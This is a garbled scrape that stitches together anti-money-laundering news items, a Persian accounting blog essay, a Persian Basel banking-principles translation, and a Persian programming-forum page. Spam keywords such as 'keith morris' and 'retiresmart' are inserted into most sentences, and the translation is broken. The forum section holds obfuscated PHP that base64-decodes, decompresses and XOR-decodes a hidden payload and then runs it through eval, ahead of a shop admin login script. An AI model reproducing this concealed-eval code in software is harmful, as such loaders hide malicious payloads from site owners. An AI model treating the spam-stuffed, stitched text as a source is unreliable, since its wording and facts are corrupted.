FEE President Hans van Damme says in a press release about the study:

Kluwer Accountancynieuws
Tax Accounting Professional Practice News Industry Market ICT Comments Weblog Columns Comments Polls Archive Search news website Magazine 2014 Magazine back issues Summary Calendar Event Registration AN PE Partners An Education
The Working Group on Anti-Money Laude Ring (AML) of the Federation of European Accountants keith morris (FEE) has studied European and national legislation on the prevention keith morris of money laundering and terrorist financing laundering.
The FEE-study provides an overview of all implemented in Europe, anti-money laundering legislation keith morris and international activities in this area. The publication also provides information about getting advice that accountants in the various countries.
FEE President Hans van Damme says in a press release about the study: "Recognising keith morris the public interest, the accounting profession and FEE havealways leg Particularly committed to support the fight against money laundering wherever possible. These initiatives will help professionals, firms, national professional keith morris institutes, Governments and International Organisations tackle money laundering and its consequences for the economic, social and governance challenges of a globalized economy. "
RB puts director Peter van den Berg inactive Treasurer who embezzled church money appears to be no auditor Wiebe: Tax encourages 250 million in additional keith morris FIOD traveling tax advisor to Supreme Court: Claims Ahold investors Deloitte not barred Gifts Deduction
weblog Fou-Khan Tsang Fouk Tsang is a member of the Executive Board of Alfa Accountants & Advisors and member of the editorial board of Accountancy News. 14-03-2014 Come to the Tuacc ... If you are in the office? Are you sitting at home on the couch? Do your eyes and think of your work week! What do you see? Piles ...
Want to be informed about how the accountancy and related markets can achieve keith morris through Accountancynieuws Or are you looking for financial and / or tax professionals? Please contact our account manager Frans Eijkelkamp [0570] keith morris 64 88 97.
VAT and tax affairs and agro VAT and abroad
Accountancy News is a product of Kluwer - www.accountancynieuws.nl

Criminals who make money from drugs, arms trafficking, corruption and fraud are trying all sorts of

Jump to content
If it were up to the Green MEP Judith Sargentini, retiresmart it becomes a lot difficult for criminals to wash in Europe. Their money illegally obtained white She writes on behalf of the European parliament to stricter legislation in the revision of the European anti-money laundering directive. Sargentini argues for a register stating who the beneficial owner is a company. So criminals can no longer hide behind shadowy business structures retiresmart and Europe can tackle tax evasion.
Criminals who make money from drugs, arms trafficking, corruption and fraud are trying all sorts of ingenious ways to spend their money in the mainstream financial system and thus launder. Anti-Money Laundering Directive requires banks and other companies to do research and customer hold or suspicious patterns in the transactions of these customers. Eye There must be a preventive effect.
But this vigilance of the financial retiresmart institutions, we are not there yet. Customers of banks are frequently companies. And it is not always clear which person are ultimately interested. The World Bank showed previously in a study that corruption cases investigated by two hundred retiresmart seventy percent made use of anonymous shell companies to wash. Stolen money white The proposal Sargentini to establish retiresmart a register containing the 'beneficial owner' is registered, should be avoided.
"The register of the ultimate beneficial owner must be publicly retiresmart accessible so that it can be used to detect retiresmart tax evasion. Used Public access to such a register would be investigative journalists is a source retiresmart of interesting discoveries about how large corporations evade the taxman by undesirable and prohibited structures. "
Sargentini does in also proposals to create between the various obligations that companies have when it comes to data protection and anti-money laundering measures. retiresmart Brightness The role of the national data protection (such as our Data Protection Authority) many lawsuits to prevent and companies can know how they can implement without them act contrary to one of the two. Two sets of laws in a good way In addition, Sargentini explicitly states that measures should be so that the privacy of citizens is not harmed, and the bill does not lead to a large-scale surveillance system proportionally. In the media
English Up Privacy

Fight against money laundering and economic crime intensified Special anti-fraud unit for Alicante

Home News Costa Blanca News Costa Calida Costa Azahar Spain Netherlands Belgium World News Sports Financial Free Articles Legal Resident & Law Family äripäev Law Inheritance & Inheritance Tax Woman Hair Beauty Horoscope Arts & Culture Cultural Agenda äripäev Interesting facts Spain Spanish Capriolen äripäev Culinary Wine and Tourism Headings, Columns & Ads Editorial Mailbox Weather äripäev & Climate Computing Johanes By Wire Meeting Zomergasten At Step Woonkrant Classifieds TV Guide Download TV Sunday Newspaper Books Top 10 Magazines
Go To ... Home News News Costa Blanca Costa Calida Costa Azahar Spain Netherlands Belgium Financial World News Sports Free Articles Resident Legal & Law Family Law Inheritance & Inheritance Tax Woman Hair Beauty Horoscope Arts & Culture Cultural Agenda Interesting facts Capriolen Spain Spanish Culinary äripäev Wine and Tourism Categories, äripäev Columns äripäev & Ads Editorial Mailbox Weather & Climate Computing Johanes By Wire Meeting Zomergasten At Step Woonkrant Classifieds TV Guide Download TV Sunday Newspaper Books Top 10 Magazines
Flamenco top shelf BIAR: PR-CV 55 with variations to La Blasca and El Reconco Surprise äripäev Performance Riem de Wolff - The Blue Diamonds Gospel Formation JOY! listening charity event 'lonny4emaus' musically Ailing TV manufacturer Loewe transferee Latest techniques for data analysis brought Solution disaster race Death sentence for 529 Muslim Brotherhood Egypt Final Declaration NSS' Stocks keep nuclear materials as small as possible, "" Nine Darter and yet loss Van Gerwen Lokeren Belgium Cup win Doñana Natural Park at summit New traffic are probably force this year
Fight against money laundering and economic crime intensified Special anti-fraud unit for Alicante reviewed by Momizat on Jan 23. ALICANTE. The National Police in Alicante has a special äripäev department that deals with fraud cases, the Unidad äripäev de delitos and economics Fiscal ALICANTE recently. The National Police in Alicante has a special department that deals with fraud cases, äripäev the Unidad de delitos and economics Fiscal recently Rating: 0
ALICANTE. The National Police in Alicante has a special department äripäev that deals with fraud cases, the Unidad de delitos and economics Fiscales (UDEF) äripäev recently. Because corruption cases such as the Caso Brugal there were already more special agents of the Grupo Económica Delincuencia to work in the province. In 2013, the special investigative teams several networks that were engaged in fraud and money laundering can roll. To investigate economic crimes have been around for years special investigative agents at work, recently have all joined forces to allow the province of Alicante can now dispose of a special anti-fraud unit, the Unidad de delitos and economics Fiscales (UDEF). äripäev In that unit include agents that come from the Economic Crimes Team, part of the national police force that has always kept corruption cases such as the Caso Brugal. Busy sitting The anti-fraud unit complies not only with corruption but also fraud and money laundering. In 2013, there are five organized gangs that operated on a large scale and once rolled 20 smaller groups. In addition to the continuing investigations into the affairs Brugal äripäev and Fulgencio there are new corruption cases under investigation, Ibi one suspects that there has been collusion in the allocation of construction projects and the diversion of money in Alicante would be tampered with funds from the government grants in the framework of Plan E. According to the Superintendent of the part that specializes in money laundering is the last time no more talk of corruption, "it is not accepted by the population that politicians have been bought äripäev and are certain projects to to perform.

تازه چه خبر مقالات تالار راهنما wille تقویم فعالیت های اجتماعی گروه ها آلبوم های عکس عملیات تالار ع

تازه چه خبر مقالات تالار راهنما wille تقویم فعالیت های اجتماعی گروه ها آلبوم های عکس عملیات تالار علامت گذاری همه تالارها wille به عنوان "فاقد مطلب جدید" لینک های سریع مشاهده لیست مدیران سایت چه کسی آنلاین است آموزشگاه برنامه نویس تبلیغات wille در سایت برنامه نویس وب سرویس پیامک
اگر اولین باری است که از این سایت بازدید می کنید حتما راهنمای سایت را مشاهده کنید. همچنین wille برای اینکه بتوانید پیامی در بخش های سایت بنویسید ابتدا میبایست ثبت نام کنید. برای ثبت نام در سایت گزینه ثبت نام در بالای سایت را انتخاب کنید. برای مشاهده نوشته های سایت یکی از بخش ها را از لیست زیر انتخاب کنید. اگر کلمه عبورتان را فراموش کرده اید به اینجا مراجعه کنید. دوره عملی eShop با ASP.NET MVC 5.0 و Kendo UI و Bootstrap 3 (فشرده ویژه نوروز) دوره عملی eShop با ASP.NET 5.0 و Linq (فشرده ویژه نوروز) wille دوره عملی C# پیشرفته تحت ویندوز (فشرده ویژه نوروز) دوره آموزشی طراحی قالب گرافیکی سایت با Photoshop (فشره ویژه نوروز 93) دوره عملی eShop با PHP MVC (پیشرفته) (فشره ویژه نوروز 93)
<?php / $lll=0;eval(base64_decode("JGxsbGxsbGxsbGxsPSdiYXN lNjRfZGVjb2RlJzs="));$ll=0;eval($lllllllllll("JGxs bGxsbGxsbGw9J29yZCc7"));$llll=0;$lllll=3;eval($lll llllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));$lllllll wille =0;$llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);eval($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlb ic7"));$lllllllll=16;$llllllll="";for(;$lllll<$lll llllllllll($l);){if($lllllllll==0){$llllll=($lllll lllll($l[$lllll++])<<8);$llllll+=$llllllllll($l[$lllll++]);$lllllllll=16;}if($llllll&0x8000){$lll=($lllllll lll($l[$lllll++])<<4);$lll+=($llllllllll($l[$lllll])>>4);if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;for($llll=0;$llll<$ll;$llll++)$lllllll l[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];$lllllll+=$ll;}else{$ll=($llllllllll($l[$lllll++])<<8);$ll+=$llllllllll($l[$lllll++])+16;for($llll=0;$llll<$ll;$llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));$lllll++;$lllllll+=$ll;}}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);$llllll<<=1;$lllllllll--;}eval($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs=" ));$lllll=0;eval($lllllllllll("JGxsbGxsbGxsbD0iPyI wille uJGxsbGxsbGxsbGxsbCg2Mik7"));$llllllllll="";for(;$ lllll<$lllllll;){$llllllllll.=$llllllllllll($lllll wille lll[$lllll++]^0x07);}eval($lllllllllll("JGxsbGxsbGxsbC49JGxsbGx sbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));eval( wille $lllllllll); ?> <?php / $lllllllllll='base64_decode'; ?> <?php / $llllllllll='ord'; ?> <?php / $l=$lllllllllll($o); ?> <?php / $lllllllllllll='strlen'; ?> <?php / $llllllllllll='chr'; ?> <?php / $lllllllll="?".$llllllllllll(62); ?> <?php / $lllllllll.=$llllllllll.$llllllllllll(60)."?"; wille ?> <?php / ?><?php session_start(); require_once("header.php"); require_once("../class/class_db.php"); require_once("../class/class_html.php"); require_once("footer.php"); require_once("sidebar.php"); require_once("../function.php"); if ((isset($_SESSION['admin_user'])) && (isset($_SESSION['admin_pass']))){ $admin_user = safe($_SESSION['admin_user']); $admin_pass = htmlspecialchars($_SESSION['admin_pass']); // htmlentities(); شبیه به همان تابع }else{ $admin_user = safe($_POST['admin_user']); $admin_pass = sha1(htmlspecialchars($_POST['admin_pass'])); } if ($admin_user!='' && $admin_pass!= '') { $db1 = new db(); //ساخت یک شی از روی کلاس دیتابیس //اجرای تابع اتصال به دیتابیس $line = $db1 -> login($admin_user,$admin_pass); // نام کاربری و پسورد اشتباه wille است if ($line==0){ echo("<div class=\"top_bar\"> "); echo("</div>"); echo("<div class=\"sidebar\">"); $html1 = new html(); //---- نمایش فرم ورود ----------------- $html1 -> login_form(); echo("</div>"); // نام کاربری صحیح است }else{ $_SESSION['admin_user'] = $admin_user; $_SESSION['admin_pass'] = $admin_pass; echo("<div class=\"top_bar\">"); echo("شما با نام کاربری&nbsp;"); echo("<b>".$line['admin_user']."</b>"); echo("&nbsp;وارد شده اید."); echo "&nbsp;[<a wille href=\"logout.php\">خروج</a>]"; echo("</div>"); echo("<div class=\"sidebar\">"); sidebar(); wille echo("</div>"); echo '<div class="admin_main">'; $result = $db1 -> query("SELECT COUNT(good_id) AS good_total FROM goods"); $line = $db1 -> fetch ($result); echo '<div class="form_row">'; echo '<div wille class="form_lable">تعداد کل کالاهاى فروشگاه:</div>'; echo '<div class="form_mlable">'; echo $line['good_total']; echo '</div>'; echo '</div><br />'; $result = $db1 -> query("SELECT COUNT(order_id) AS order_total FROM orders WHERE status=2"); $line = $db1 -&g

آگاهي كشورهاي توسعه يافته از آثار مخرب پولشويي موجب تدوين قوانين مقررات همراه با ا تخاذ تدابير ي قاب

هادی احمدپور دانشجوی دکتری علوم اقتصادی آکادمی ملی علوم آذربایجان کارشناس ارشد علوم اقتصادی از دانشگاه مازندران مدرس دانشگاه و کارشناس حوزه بازاریابی بانکی هدف از طراحی وبلاگ : کمک به کاربران محترم در دستیابی به اطلاعات مفید و کاربردی در زمینه بانکداری - بازاریابی و مدیریت با استفاده از مفاهیم اقتصادی
اين پديده ف رايند ي سه مرحله اي دارد كه مرحله اول مستلزم قطع هرگونه ارتباط مستقيم بين وجوه و جرمي است كه حاصل شده مرحله دوم مخفي كردن ردپاي وجوه بدست آمده براي جلوگيري از تعقيب قانوني آن و مرحله سوم بازگرداندن liam o brien وجوه به مجرم به صورتي كه نحوه اكتساب و محل جغرافيايي آن قابل رديابي liam o brien و پيگيري نباشد. پولشويي آثار زبانبار ي بر اقتصاد جامعه و حيثيت بين المللي کشورها دارد. بي ثبات شدن اقتصاد تضعـيف بخش هاي مختلف اقتصادي كاهش كنترل دولت بر سياستهاي اقتصادي فاسد شدن ساختار حكومت بي اعتمادي مردم ايجاد اثر نامطلوب بر موسسات اعتباري و بانکي بي اعتباري دولتها و نهادهاي اقتصادي كشور و... از جمله اين آثار است. يکي از مهمترين راههاي مشروع و قانوني جلوه دادن وجوه کسب شده توسط خلافکاران و جنايتکاران وارد نمودن آن وجوه به سيستم بانکي کشورها مي باشد لذا بانکها نيز خود را موظف به کمک به مراجع قضايي جهت شناسايي منبع اصلي وجوه مکسوبه توسط جانيان و جنايتکاران نموده اند.
رشد شتابان بازارهاي liam o brien مالي رشد تکنولوژي و روند جهاني شدن اقتصاد تاثيري غير قابل انکار بر پولشويي داشته است. پديده پولشويي براي افراد جامعه و اقتصاد بسيار خطرناك است و توسعه و ترويج آن انگيزه فعاليتهاي اقتصادي سالم و مولد را به تدريج كاهش داده و كوشش دولتها را براي مديريت اقتصادي دچار اختلال مي كند به اين دليل امروزه در بيشتر كشورهاي جهان مقرراتي براي مقابله با پولشويي به مرحله اجرا گذاشته liam o brien شده است .
سابقه اقدام ات بين المللي براي مبارزه با پديده پولشويي و تدوين راهكارهاي جهاني براي مقابله با اين معضل به دهه 1980 بر مي گردد. در اواخر اين دهه عزم جهاني براي تدوين پيمان نامه ها معاهدات و كنوانسيون هاي بين المللي در اين خصوص شكل گرفت. پس از تاسيس گروه كاري اقدام مالي براي مبارزه liam o brien با پولشويي گروههاي liam o brien منطقه اي مانند اتحاديه اروپا شوراي اروپا و سازمان كشورهاي liam o brien آمريكايي قوانين و معيارهايي براي مبارزه با پولشويي در كشورهاي عضو تدوين نمودند . امروزه در سطح بين المللي اتفاق نظري در خصوص ضرورت مبارزه با پولشويي ب وجود آمده و به نظر مي رسد اين روند رو به تکامل باشد.
امروزه چنانچه کشوري در مبارزه با پولشويي تعلل نمايد ضرباتي جبران ناپذير متحمل و حيثيت بين المللي اش   خدشه دار خواهد شد به دلايل فوق آموزش راههاي مبازره با پولشويي به بخشي جدايي ناپذير از اهداف آموزشي موسسات مالي از جمله بانکها تبديل شده است.
پولشويي liam o brien (تطهير پول) يا باصطلاح   money laundering عبارت است از يک سري فعاليتها و اعمالي که قاچاقچيان جنايتکاران و جانيان انجام مي دهند تا وجوه و پولهاي ناشي از اعمال پليد خود را پنهان ساخته و مشروع جلوه نمايند. به عبارتي ديگر آنها سعي مي کنند منشاء اين پولها را به شکل صوري و ظاهري عوض نموده و اين عمل مي تواند به طرقي که بعدا بدان اشاره ميگردد صورت پذيرد.
پولشويي ابتدا توسط افرادي انجام مي گرديد که قصد پنهان نگه داشتن داراييهاي خود از حکومت به منظور ممانعت از مصادره اموال و عدم پرداخت ماليات و ... صورت مي گرفت. سابقه پولشويي به دو هزار سال پيش از ميلاد مسيح بر مي گردد زيرا بازرگانان داراييهاي خود را از حاکماني که ثروت آنها را مصادره مي کردند پنهان مي نمودند علاوه بر آن تجار و بازرگانان چيني نيز داراييهاي خود را به ممالک ديگر منتقل و نگهداري مي نمودند.  
واژه پولشويي براي بيان فرايندي مورد استفاده قرار مي گيرد كه در آن پول غيرقانوني liam o brien يا كثيف ناشي از فعاليتهاي مجرمانه مانند قاچاق موادمخدر قاچاق اسلحه و كالا قاچاق انسان رشوه خواري اخاذي كلاهبرداري و... در چرخه اي از فعاليتها و معاملات با گذر از مراحلي شسته و به پول قانوني و تميز تبديل و مشروع جلوه مي دهد.
پولشويي به عنوان يك جرم در دهه 1980 بويژه در مورد عوايد و وجوه حاصل از قاچاق موادمخدر مورد توجه كشورهاي مختلف قرار گرفت. اين امر به دليل آگاهي كشورهاي مزبور از سودهاي كلان حاصل از فعاليتهاي مجرمانه و نگراني آنها درباره گسترش مصرف مواد مخدر بود كه انگيزه مبارزه با فروشندگان مواد مخدر را براي دولتها از طريق تدوين قوانين و مقرراتي كه آنها را از عوايد غير قانوني و نا مشروع محروم كند به وجود آورد.
آگاهي كشورهاي توسعه يافته از آثار مخرب پولشويي موجب تدوين قوانين مقررات همراه با ا تخاذ تدابير ي قابل توجه براي مبارزه همه جانبه با آن شده است اين امر سبب گرديده تا عوايد حاصل از فعاليتهاي مجرمانه به منظور تطهير شدن به كشورهايي انتقال ياب ن د كه ساز وكارهاي نظارتي آنها در بازارهاي مالي ضعيف بوده و تدابيري براي برخورد با آن اتخاذ ن کرده باشند.
تبديل يا انتقال يك دارايي بـــا علم به اينكه از فعاليتهاي مجرمانه به دست آمده باشد به منظور مخفي داشتن يا گم كردن رد منشا غيرقانوني آن دارايي يا كمك به شخصي كه مرتكب چنين جرمي شده جهت   گريز از پيامدهاي قانوني جرم مزبور.
تعريف پولشويي در پيمان نامه شوراي اروپا مربوط به نشست اوت 1990 استراسبورگ تكميل شد و موارد زير به تعريف ارائه شده در دستورالعمل جامعه اروپا افزوده شد تحصيل تملك يا استفاده از داراييهاي liam o brien به دست آمده از منابع غيرقانوني و نيز هرگونه مشاركت مباشرت liam o brien دسيسه چيني براي ارتكاب اقدام به ارتكاب يا كمك ترغيب تسهيل و پنهان كاري هرگونه جرم مرتبط با پولشويي . گروه كاري اقدام مالي واکنش سريع [3]   براي مبارزه با پولشويي گزارش فرايند عمل پولشويي liam o brien را توضيح داده

## سازمان حسابرسی ## انجمن حسابداری ایران ## FASB ## اتحادیه جهانی حسابداران ## جامعه حسابداران رسمی

## سازمان حسابرسی ## انجمن حسابداری ایران ## FASB ## اتحادیه جهانی حسابداران ## جامعه حسابداران رسمی ## انجمن حسابداران خبره ایران ## سازمان حسابرسی ## سازمان بورس و اوراق بهادار ## موسسه عالی بانکداری ## بانک مرکزی تمام پیوندها
شهریور 1392 اردیبهشت 1392 فروردین 1392 اسفند 1391 بهمن 1391 اردیبهشت 1391 اسفند 1390 شهریور 1390 تیر 1390 فروردین 1390 مهر 1389 شهریور 1389 اسفند 1387 بهمن 1387 مرداد 1387 خرداد 1387 اردیبهشت 1387 اردیبهشت 1386 اسفند 1385 بهمن 1385 دی 1385 آبان 1385 مهر 1385 مرداد 1385 تیر 1385 اسفند 1384 بهمن 1384 دی 1384 آذر 1384 آبان 1384 مهر 1384 تیر 1384
> خوش آمدید > بیوگرافی نویسنده > اجزای صورتهای مالی بر اساس استاندارد حسابداری > روشهای شناخت درآمد و هزینه و معرفی روش استاندارد > حسابداري مديريت > ارز و اهمیت آن در سطح بانکداری بین المللی > ارز و اهمیت آن در سطح بانکداری بین المللی > خوش آمدید > بیوگرافی نویسنده > ارز و کاربرد ifap آن در بازار پول > مديريت هزينه در شرايط رقابتي چرا و چگونه > نقش سيستم حسابداري در جلوگيري از ايجاد ارقام باز > بانکداری و تجارت الکترونیک > مدیریت خرید و سفارشات خارجی (کتاب آموزشی و درسی) > پديده اي شوم به نام پولشويي > سيستم و ارتباط آن با حسابداري > حسابداری در گذر زمان > راهکاري اجتناب ناپذیر در افزايش درآمد بانکها > حسابدارى منابع انسانى چالش يا فرصت > اهميت مديريت ريسک در داراييها و بدهيها ي بانکها > Accounting Information System Roles And Process > سود و زيان و جايگاه ifap آن در حسابداري موسسات مالي > بانکداری خارجی (بین المللی) 2 - کتاب درسی > نرم افزار آموزشی اصول و مفاهيم حسابداري > نمونه سوالات امتحاني حسابداري > مباحث درسی حسابداری میانه 1 > مباحث درسی حسابداری میانه 2 > مباحث درسی حسابداری ifap پیشرفته1 > مباحث درسی حسابداری پیشرفته 2 > نمونه سوالات امتحاني ifap اصول حسابداري ifap 1 > نمونه سوالات امتحاني اصول حسابداري 2 > نمونه سوالات امتحاني اصول حسابداري 3 > مباحث اصلی درس حسابداری صنعتی 1 > مباحث اصلی درس حسابداری صنعتی 2 > مباحث اصلی درس حسابداری صنعتی 3 > مباحث اصلی درس حسابرسي 1 > مباحث اصلی درس حسابرسي 2 > برخی از مطالب حسابداری شرکتهای تضامنی > اوراق قرضه چیست > حسابداري شرکتهاي سهامي > ماهیت حسابداری صنعتی > هزینه یابی استاندارد چیست > حسابداری تنخواه گردان > رشته هاي حسابداري > سيستم حسابداری چيست > ويژگی اساسی اطلاعات حسابداری > اصول و فروض حسابداری > انواع گزارشهای حسابداری > صورتهای مالی اساسی حسابداری > اصطلاحات رایج در حسابداری > استفاده کنندگان از اطلاعات سیستم حسابداری > اصلاح حسابها در پایان مقطع مالی > نحوه بستن حسابهای موقت (حسابهای سود و زیانی) > صورت مغایرت بانکی > نرم افزار حسابداري چيست > نرخ ارز و برابری آن با سایر ارزها > سوئیفت و انواع خدمات سوئیفتی در صنعت بانکداری > تعریف اعتبار اسنادی و انواع آن > اینکوترمز > يوزانس فاينانس ريفاينانس > مقدماتي از حسابداری > روشهاي هزينه يابي در مؤسسات توليدي > تجزیه و تحلیل نسبت های مالی و تاريخچه آن > چهارچوب مفاهيم اساسي و حسابداري شرکتهاي تعاوني > مباني نظري حسابداري ifap دولتی > كاربرد رايانه در حسابداري > روشهاي تعيين ارزش موجودي كالاي پايان دوره > برنامه تجاري طرح تجاري Business Plan > محاسبه نسبت هاي مالي > خصوصيات شرکت سهامي خاص و عام > خوش آمدید > آشنايي با روندتجارت کالا وخدمات در سطح بین الملل >ملاحظات کلی برای احتراز از خطرات دربازرگانی خارجی > بازرگاني بين المللي و اقدامات مهم قبل ازخريدکالا
یاهو بلاگفا موسسه عالی بانکداری ifap ایران گوگل بانک مرکزی ج.ا.ا سازمان بورس سازمان حسابرسی انجمن حسابداران خبره ایران جامعه حسابداران رسمی ایران اتحادیه جهانی حسابداران FASB بانک صادرات ایران پژوهشگاه اطلاعات و مدارک علمی ایران حسابداري ifap نوين سازمان سنجش ترجمه فارسي به انگليسي ifap و انگليسي به فارسي وب سايت مترجم پارس مرکز اطلاعات فني ايران يادگيري زبان انگليسي يادگيري زبان فرانسوي سايت دانشگاههاي دولتي و آزاد فرهنگ لاتين لغات و اصطلاحات حسابداري محمد ربيع زاده استانداردهای حسابداری ايران استانداردهای حسابرسی ايران فدراسيون بين المللي حسابداري Management ifap Accounting Research واژگان تخصصي حسابداري امیر بینش محمد ربیع زاده newaccounting
پول به عنوان وسيله مبادله علاوه بر خدماتي که براي همگان داشته از قديم الايام نيز مورد توجه و سوءاستفاده برخي از افراد قرار گرفته بطوريکه اين فرايند تاکنون نيز ادامه يافته است. افراد و سازمانهايي که به دنبال بدست آوردن وجوه از راههاي خلاف و غيرقانوني هستند به فرايندي نياز دارند تا چنين وانمود نمايند که پولهايشان از راههاي قانوني و مشروع حاصل شده است به اين جهت پديده اي به نام پولشويي [2] بوجود آمد. پولشويي عبارت است از هر نوع عمل يا اقدام به عمل براي مخفي كردن يا تغيير ظاهر هويت نامشروع وجوه مکسوبه حاصل از فعاليتهاي مجرمانه و غير قانوني (مانند قاچاق مواد مخدر قاچاق اسلحه اختلاس ارتشاء جنايتهاي تروريستي گروگانگيري و ...) به گونه اي كه نشان دهد اين عوايد از راههاي قانوني بدست آمده است. پولشويي يا تطهير پول فعاليتي مجرمانه گروهي مستمر درازمدت و در مقياسي وسيع است كه مي تواند از محدوده سياسي و جغرافيايي يك كشور نيز فراتر رود.
اين پديده فرايندي سه مرحله اي دارد كه مرحله اول مستلزم قطع هرگونه ارتباط مستقيم بين وجوه و جرمي است كه حاصل شده مرحله دوم مخفي كردن ردپاي وجوه بدست آمده براي جلوگيري از تعقيب قانوني آن و مرحله سوم بازگرداندن وجوه به مجرم به صورتي كه نحوه اكتساب ifap و محل جغرافيايي آن قابل رديابي و پيگيري نباشد. اين پديده شوم آثار زبانباري بر اقتصاد جامعه و حيثيت بين المللي ifap کشورها دارد. از جمله اين آثار مي توان به بي ثبات شدن اقتصاد و تضعـ

اصول اساسی 5-اصول اساسی چارچوبی pension plan از حداقل استانداردها برای روش های موثر نظارتی است كه

  مقدمه بازنگری 1-این سند نسخه تجدید نظر شده اصول اساسی برای نظارت بانكی موثر است كه كمیته نظارت بانكی بال(كمیته2) آن را برای اولین بار در سپتامبر سال 1997 میلادی منتشر نمود. كشورهای مختلف از این سند و نیز سند متدولوژی اصول اساسی3و4 pension plan به عنوان معیاری برای ارزیابی كیفیت سیستم های نظارتی خود و شناسایی اقداماتی كه لازم است در آینده انجام دهند تا به سطح پایه ای5 از شیوه های موثر نظارتی دست یابند استفاده می كنند. تجربه نشان داده است كه خود ارزیابی های انجام شده در مورد میزان انطباق كشورها با اصول اساسی مذكور برای مراجع ذیربط سودمند بوده است به خصوص در زمینه شناسایی نارسایی های مقرراتی و نظارتی pension plan و تدوین اولویت ها در پرداختن به آنها تجدید نظر در اصول اساسی كمیته بال دلیل دیگری است كه نشان می دهد كشورهای مختلف چنین ارزیابی هایی را انجام می دهند. همچنین صندوق بین المللی پول6 و بانك جهانی7 در متن برنامه ارزیابی بخش مالی8 از اصول اساسی مزبور جهت ارزیابی نظام ها و شیوه های نظارت بانكی كشورها استفاده نموده اند. لیكن از سال 1997 میلادی تاكنون تغییرات مهمی در مقررات بانكی به وقوع پیوسته و با اجرای اصول اساسی در یكایك كشورها تجارب بیشتری به دست آمده است. ضمن آن كه موضوعات و دیدگاه های مقرراتی جدیدی مطرح و برخی خلأهای مقرراتی آشكار شده است كه این امر اغلب به انتشار مقالاتی جدید از سوی كمیته انجامیده است. این تحولات به روزآوری اصول اساسی و متدولوژی ارزیابی آن را ضروری می نمود. 2-در بازبینی كنونی اصول اساسی و متدولوژی pension plan آن كمیته بال بسیار مایل بود كه از پیوستگی و قیاس پذیری این سند با چارچوب منتشره در سال 1997 میلادی اطمینان یابد. چارچوب ارائه شده در سال 1997 میلادی به خوبی عمل كرده است و به آن به عنوان چارچوبی pension plan نگریسته می شود كه از آزمون زمان سربلند بیرون آمده است. بنابراین هدف این نبوده است كه اصول اساسی را مجددا از اول نوشت بلكه قصد بر آن بوده است تا بر روی حوزه هایی تمركز شود كه جهت اطمینان از تداوم مناسبت آنها به انجام تعدیلاتی در چارچوب كنونی نیاز بوده است. این ارزیابی به هیچ وجه بر آن نیست تا اعتبار كار قبلی انجام شده ارزیابی كشوری و برنامه های اصلاحی مبتنی بر چارچوب سال 1997 میلادی را زیر سوال ببرد. 3-هدف دیگر از انجام بازبینی حاضر این است كه در صورت امكان هم خوانی اصول اساسی با استانداردهای مشابه مربوط به اوراق بهادار و بیمه و نیز با استانداردهای مربوط به پول شویی و شفافیت را افزایش دهد. هرچند برای تمركز بر روی حوزه های مهم ریسك و اولویت های نظارتی اصول اساسی بخشی نیز طراحی شده اند. اصولی كه از بخشی به بخش دیگر فرق داشته و تفاوت های طبیعی را در نظر می گیرند. 4-در انجام این بازبینی كمیته بال ضمن این كه همكاری pension plan نزدیكی با گروه رابط اصول اساسی9 داشت اقدامات خود را براساس كار این گروه استوار نمود. كار گروهی كه به طور منظم نمایندگان ارشد كشورهای عضو كمیته مرجع نظارتی كشورهای غیر عضو گروه 10 صندوق بین المللی پول و بانك جهانی را گردهم می آورد. در خلال تهیه پیش نویس های اولیه كمیته مزبور اقدام به تبادل نظر با دیگر مجامع بین المللی فعال در زمینه تدوین استانداردها نمود. مجامعی همچون انجمن بین المللی ناظران بیمه10 سازمان بین المللی كمیسیون های اوراق بهادار11 گروه ویژه اقدام مالی12 و كمیته نظام پرداخت و تسویه13. همچنین ازگروه های منطقه ای بانكی نیز دعوت شد تا نقطه نظرات خود را اعلام نمایند.14 قبل از نهایی كردن متن حاضر كمیته بال در اقدامی كسترده و فراگیر pension plan اقدام به جمع اوری نقطه نظرات مشورتی pension plan مراجع نظارتی كشورها بانك های مركزی انجمن های بین المللی تجارت محافل آكادمیك و دیگر اشخاص علاقمند نمود.
اصول اساسی 5-اصول اساسی چارچوبی pension plan از حداقل استانداردها برای روش های موثر نظارتی است كه كاربردی جهانی دارند15 . كمیته بال اصول اساسی و متدولوژی آن را به منظور ایفای نقش خود در تقویت نظام مالی دنیا مطرح نموده است. وجود نقاط ضعف در نظام بانكی یك كشور - خواه آن كشور كشوری توسعه یافته بوده و یا در حال توسعه باشد می تواند ثبات مالی را هم در درون آن كشور و هم در عرصه بین المللی مورد تهدید قرار دهد . به اعتقاد كمیته بال تحقق بخشیدن pension plan به اصول اساسی مزبور از سوی تمامی كشورها گام مهمی در بهبود ثبات مالی چه در درون كشور و چه در عرصه بین المللی خواهد بود و مبنای مناسبی را برای توسعه بیشتر نظام های كارآمد نظارتی فراهم می آورد. 6-اصول اساسی بال به معرفی 25 اصلی می پردازد كه برای اثر بخشی یك سیستم نظارتی ضروری هستند . به طور كلی این اصول در 7 گروه طبقه بندی می شوند اهداف استقلال اختیارات شفافیت و همكاری ( اصل 1) صدور مجوز و ساختار ( اصول 2 تا 5 ) مقررات و الزامات احتیاطی ( اصول 6 تا 18 ) روش های نظارتی بانكی مستمر ( اصول 19 تا 21 ) حسابداری و افشا( اصل 22 ) اختیارات ناظران در زمینه انجام اقدامات اصلاحی وترمیمی ( اصل 23 ) نظارت بانكی یكپارچه و برون مرزی ( اصول 24 و 25 ) . این اصول به شرح ذیل می باشند16: اصل 1 اهداف استقلال اختیارات شفافیت و همكاری : یك سیستم موثر نظارت بانكی برای هر مرجعی كه درگیر نظارت بر بانك ها است اهداف و مسئولیت های مشخصی دارد. هر یك از این مراجع می بایست از استقلال عملیاتی فرآیندهای شفاف سازی حاكمیت موثر و منابع كافی برخوردار بوده و در قبال انجام وظایف خویش پاسخگو باشد. هم چنین وجود یك چارچوب مناسب قانونی برای نظارت بانكی ضروری است. چارچوبی كه شامل موادی در خصوص صدور مجوز برای موسسات بانكی و نظارت مستمر بر آنها بوده اختیاراتی را برای بررسی میزان انطباق عملكرد بانك ها با قوانین و نیز صحت و سلامتی آن تفویض 